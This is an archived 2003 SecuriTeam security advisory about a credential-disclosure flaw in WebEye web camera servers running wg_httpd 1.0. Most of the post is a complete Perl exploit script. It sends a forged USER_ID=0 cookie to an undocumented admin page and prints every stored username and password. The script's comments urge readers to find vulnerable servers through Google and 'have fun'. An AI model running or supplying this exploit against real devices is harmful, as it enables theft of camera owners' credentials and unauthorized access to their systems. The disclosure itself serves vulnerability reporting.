[NEWS] WebEye User Disclosure Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/08/03

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Date: 8 Dec 2003 10:21:32 +0200

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      WebEye User Disclosure Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     
    <http://www.webgateinc.com/wg_htdocs/english/products/products_webeye_pro.html> WebEye "provides a quick and easy operation in accessing WebEye families (web cameras and web servers) that generates live images". A vulnerability in the product allows an attacker to gather a list of usernames and passwords configured in the server without needing any special privileges.

    DETAILS

    Vulnerable systems:
     * wg_httpd version 1.0 (based Boa version 0.92q)

    Exploit:
    #!/usr/bin/perl

    ####################################################################
    # Author: datapath
    # E-mail: datapath@softhome.net
    # Date: Dec 2003
    # 44c545672ac14e9e0f968b3affcd0740

    # WHAT IS THIS?
    # This is an exploit to retrieve all username and passwords from a
    # webeye video server.

    # REQUIREMENTS
    # It requires some perl libraries. If you dont have them already
    # installed, search cpan.org.

    # HOW DOES IT WORKS?
    # Well, its very simple, because the server provides a mechanism (not
    # documented) to retrieve all passwords! You can read the code below,
    # its short and simple.

    # If you think its fun, but dont know any webeye video server, just make a

    # search in Google. You will find a lot of them! Have fun!
    ###########################################################################

    use LWP::UserAgent;
    use HTTP::Cookies;

    $host=shift;
    $port=shift;

    if ($host eq "") {
      print "Usage: webeye-xp.pl <host name> [port]\n";
      exit;
    }
    if ($port eq "")
    {
     $port = "80";
    }

    my $browser = LWP::UserAgent->new();

    my $resp =
    $browser->get("http://$host\:$port/admin/wg_user-info.ml","Cookie","USER_ID=0; path=/;");

    # print "resp: $resp\n";

    $t = $resp->content;

    # print "t: $t\n";

    $i = index($t,"<tr");
    substr($t,0,$i+1,"");

    while ($i!=-1) {
      $i = index($t,"<tr");
      substr($t,0,$i+1,"");
      $i = index($t,"value=");
      substr($t,0,$i+7,"");
      $j = index($t,"\"");
      $user = substr($t,0,$j);
      if ($user =~ /Apply/) { print "\nHave fun!\n"; exit; }
      print "user: ".$user;
      $i = index($t,"value=");
      substr($t,0,$i+7,"");
      $j = index($t,"\"");
      print "\tpass: ".substr($t,0,$j)."\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:datapath@softhome.net>
    datapath.

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